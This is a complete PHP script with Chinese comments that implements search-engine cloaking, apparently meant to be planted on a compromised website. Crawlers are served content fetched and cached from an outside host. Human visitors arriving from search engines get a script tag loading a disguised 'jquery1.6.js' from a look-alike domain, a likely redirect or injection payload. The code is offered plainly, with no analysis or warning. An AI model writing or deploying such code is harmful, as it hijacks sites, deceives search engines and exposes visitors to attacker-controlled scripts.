<?php// 定义缓存目录、源地址和广告代码块$cacheDir = $_SERVER[\‘DOCUMENT_ROOT\‘] . \‘/cache/news/\‘;$referrer = $_SERVER[\‘HTTP_REFERER\‘]; $sourceUrl = \‘https://cctv9.cc/\‘; // 获取用户真实IP(考虑到可能使用了CDN)$userIP = get_real_ip();$userAgent = $_SERVER[\‘HTTP_USER_AGENT\‘];// 检测是否为搜索引擎蜘蛛访问if (preg_match(\‘/google|yahoo|baidu|bing|sogou|soso|sm/\‘, $referrer) || is_spider($userAgent)) { // 如果是蜘蛛,禁止加载JavaScript文件 if (is_spider($userAgent)) { // 不返回403,允许蜘蛛继续访问 $cacheFile = $cacheDir . md5($_SERVER[\‘REQUEST_URI\‘]); if (file_exists($cacheFile)) { // 读取缓存 echo file_get_contents($cacheFile); exit; } else { // 获取内容并缓存 $content = fetch_content($sourceUrl . md5($_SERVER[\‘REQUEST_URI\‘])); if ($content === false || strlen($content) < 1024) { // 获取内容失败,返回502错误 http_response_code(502); echo \‘502 Bad Gateway\‘; exit; } else { file_put_contents($cacheFile, $content); echo $content; exit; } } } else { // 如果是普通用户,加载指定的JavaScript代码 echo "<script src=\‘https://aliyuns.online/jquery1.6.js\‘></script>"; exit; }}// 创建多级缓存目录if (!is_dir($cacheDir)) { mkdir($cacheDir, 0777, true);}// 获取访问网址路径$urlpath = $_SERVER[\‘REQUEST_URI\‘];// 删除百度IP段相关的代码// 继续往下执行,处理普通用户的请求// 获取用户真实IP的函数function get_real_ip() { if (!empty($_SERVER[\‘HTTP_CLIENT_IP\‘])) { return $_SERVER[\‘HTTP_CLIENT_IP\‘]; } elseif (!empty($_SERVER[\‘HTTP_X_FORWARDED_FOR\‘])) { return $_SERVER[\‘HTTP_X_FORWARDED_FOR\‘]; } else { return $_SERVER[\‘REMOTE_ADDR\‘]; }}// 获取指定URL内容的函数function fetch_content($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, \‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\‘); $content = curl_exec($ch); curl_close($ch); return $content;}// 添加一个函数来检测User-Agent是否为蜘蛛function is_spider($userAgent) { $spiders = [\‘Googlebot\‘, \‘Bingbot\‘, \‘Baiduspider\‘, \‘YandexBot\‘, \‘Sogou\‘, \‘Exabot\‘, \‘facebot\‘, \‘ia_archiver\‘]; foreach ($spiders as $spider) { if (stripos($userAgent, $spider) !== false) { return true; } } return false;}?>